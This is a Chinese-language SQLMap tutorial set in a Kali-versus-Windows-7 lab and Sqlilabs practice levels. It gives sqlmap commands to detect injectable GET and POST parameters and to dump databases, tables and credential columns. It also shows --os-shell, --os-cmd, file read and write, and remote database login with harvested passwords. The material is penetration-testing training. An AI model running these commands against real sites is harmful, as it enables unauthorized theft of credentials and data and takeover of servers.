数据库
首页 > 数据库> > 二、SQLMap 渗透测试工具

二、SQLMap 渗透测试工具

作者:互联网


数据库注入一般情况下采用两种方式 :SQLMap 工具注入 和 手工注入 ,SQLMap 核心 :获取数据库里的数据

实验环境 :Kali SQLMap 为攻击方,Windows 7 为被攻击方

一、SQLMap 打开方式

① 点点点 :采用这种方法打开的 SQLMap 终端是没有后接其它命令的,系统实际上默认执行的是 sqlmap -h 帮助命令,系统会列出相关使用方法

image.png

② 命令行直接敲 sqlmap 命令 :sqlmap 实际上是一个 python 脚本,已写入环境变量

image.png

二、SQLMap 基本操作

网页传参方式多为 GET 和 POST 两种

1. GET 探测是否可被注入

 sqlmap -u [url?id=x]		# get方式探测当前页面是否可被注入,所有id参数值全部写上
 sqlmap -u "[url?id=x]"		# 多个id值则需要使用引号引起来
# 实际执行命令时去掉[]大括号

一些系统回显提示 :

① 系统已猜测到数据库为 Mysql ,询问是否需要跳过其它数据库类型验证 :

image.png

② 确认探测级别 :

image.png

③ 测试中 :testing 值表示正在使用脚本测试,测试完毕后会回显测试报表

image.png

第一次探测时耗时可能有点长,系统会将探测的数据缓存,后续再次探测时速度会有所提升

关注回显中的粗体字( INFO字段 ) ,这些内容基本上已被系统确定可被注入

image.png

④ 探测完毕 :查看报表,下图中显示了 4 种可被注入的方式(漏洞)

image.png

2. GET 获取数据库字段(获取所有)

获取当前数据库所有库表列,适用于小站点(大站点内容太多)

 sqlmap -u [url?id=x] --dump	# 若没有接其它参数直接dump,表示一行一行拿所有数据

一些系统回显:

① 抓到了第一张表,数据库名字 :test ,表 :person ,字段 :两行

image.png

② 继续往后抓,在 users 表这里碰到了 password 密码字段 :password 数据为加密数据

image.png image.png

③ 若顺利爆破,后续无其它需要手动确认的选项,则自动往后抓取并回显内容,直至抓取结束

获取当前数据库所在的数据库服务器上所有的数据库里的库表列,适用于小站旁站

 sqlmap -u [url?id=x] --dump-all	# 操作和dump类似
image.png

3. GET 获取数据库字段(精确获取)

按照 库 - 表 - 列 的顺序依次精确获取

获取数据库名

① 获取当前站点使用的数据库名

 sqlmap -u [url?id=x] --current-db
image.png

② 获取当前站点所在数据库服务器上所有数据库名

 sqlmap -u [url?id=x] --dbs
image.png

针对库获取对应的表

 sqlmap -u [url?id=x] -D test --tables	# 获取test库里的表
image.png

针对表获取里面的列

 sqlmap -u [url?id=x] -D test -T users --columns	# 获取test库里users表里的列

按照开发命名规范,password 和 username 等敏感字符里存放的都是其对应的数据

image.png

缩小列的范围,只获取所需列里面的数据 :

 sqlmap -u [url?id=x] -D test -T users -C "username,password" --dump
image.png

库表可以后可接 dump 命令 ,例如 :

 sqlmap -u [url?id=x] -D test --dump	# 获取test库里的所有内容
 sqlmap -u [url?id=x] -D test -T users --dump	# 获取test库下users表里的所有内容

4. GET 多参数情况

多参数需要使用引号引起,同时,判断一个参数是否可被注入就看其是否调用数据库查询数据,调用数据库查询对应数据则可被注入,反之没有调用数据库查询数据则不可被注入

假设现在数据库内有两个参数值 :df 值和 id 值

 sqlmap -u "url?df=1&id=1" --dbs 	# 与前面的单参数情况操作类似

5. POST 参数情况

同一个页面使用 POST 和 GET 两种方式进行探测对于 SQLMap 来说是两个完全不同的页面

post 方式在 url 中不会显示参数值,在网站中一般使用表单以 post 形式将数据传送到服务器,对于 SQLMap 则使用 --data ”键值对“ 参数模型去体现参数形式,示例如下 :

 sqlmap -u [url] --data "id=1"		# --data后接参数值并使用引号引起
image.png

POST 方式查 库-表-列 的命令与 GET 方式一致,唯一区别在于使用 --data 参数模型,这个不可删除

 sqlmap -u [url] --data "id=1" --dbs	# 查库
 sqlmap -u [url] --data "id=1" -D 库 --tables	# 查库下的表
 sqlmap -u [url] --data "id=1" -D 库 -T 表 --columns	# 查表下的列
 sqlmap -u [url] --data "id=1" --dump	# 查当前库所有内容

POST 多参数情况 :&

 sqlmap -u [url] --data "id=1&df=1"

三、SQLMap 进阶:参数讲解

 --current-user		# 列出当前网站使用的数据库用户
image.png
 --users			# 列出数据库所有用户
image.png
 --passwords		# 查询数据库用户的密码(弱口令)
image.png

如果当前为 MYSQL 客户端,且对方数据库没有限制登陆来源,则此时拿到账户和密码之后可以远程登陆对方数据库

  sqlmap -d "mysql://用户名:密码@ip:3306/库名"		# 远程登陆对端数据库
  --is-dba			# 检查当前用户是否为数据库管理员
  --sql-shell		# 执行自定义SQL语句,使用q退出
image.png
  --os-shell		# 执行任意操作系统命令(有权限限制)
image.png

在使用此命令时需要当前用户为数据库管理员且有文件写权限、需要知晓网站目录绝对路径、关闭魔术引号

image.png image.png image.png
  --os-cmd		# 与--os-shell类似,但一次只能执行一条命令
image.png
  --file-read "目标文件的绝/对/路/径"		# 读取文件(下载文件)
image.png
  --file-write "要上传文件的绝/对/路/径" --file-dest "目标地址的绝/对/路/径"	
  # 上传文件(写文件),权限可能只在当前家目录

image.pngimage.png


四、课下 :Sqlilabs 靶场实战

任务要求 :利用今天所学 SQLMap 知识在 Sqlilabs 靶场中的第 1 和 11 关实践,并拿到数据库里的账户和密码等数据

关卡1 :GET  关卡11 :POST

1. 环境搭建:网络配置

要求 :

image.png image.png image.png image.png

2. 关卡1:探测是否可被注入

image.png

SQLMap 使用 GET 方法探测此站点是否可被注入,探测结果如下图 ,发现漏洞,可被注入 :

image.png

3. 关卡1:获取数据库信息

获取数据库名

image.png

通过上方获取到的数据库 security 探测其下面的表,如图所示 :

image.png

获取 users 表里的列 :

image.png

获取 username 和 password 详细信息 ,拿到我们所需的数据 :

image.png

4. 关卡1:实验结果

通过对关卡1进行 GET 探测显示其存在漏洞,可被注入 。然后对其 库-表-列 进行深入探测,最终发现 users 表,拿到实验所需的账户和密码等数据,实验完成 。


5. 关卡11:探测是否可被注入

image.png

通过观察站点页面,要求输入账户密码,且在页面 URL 后添加参数时页面无任何变化,猜测此站点数据传输方式不是 GET

SQLMap 使用 POST 方法探测此站点是否可被注入 :

image.png image.png image.png

6. 关卡11:获取数据库信息

获取数据库名

image.png image.png

通过上方获取到的数据库 security 探测其下面的表,如图所示 :

image.png

获取 users 表里的列 :

image.png

获取 username 和 password 详细信息 ,拿到我们所需的数据 :

image.png

7. 关卡11:实验结果

通过对关卡11进行 POST 探测显示其存在漏洞,可被注入 。然后对其 库-表-列 进行深入探测,最终发现 users 表,拿到实验所需的账户和密码等数据,实验完成 。

标签:SQLMap,sqlmap,获取,渗透,数据库,--,url,测试工具,id
来源: https://www.cnblogs.com/xiaoliancc/p/16228584.html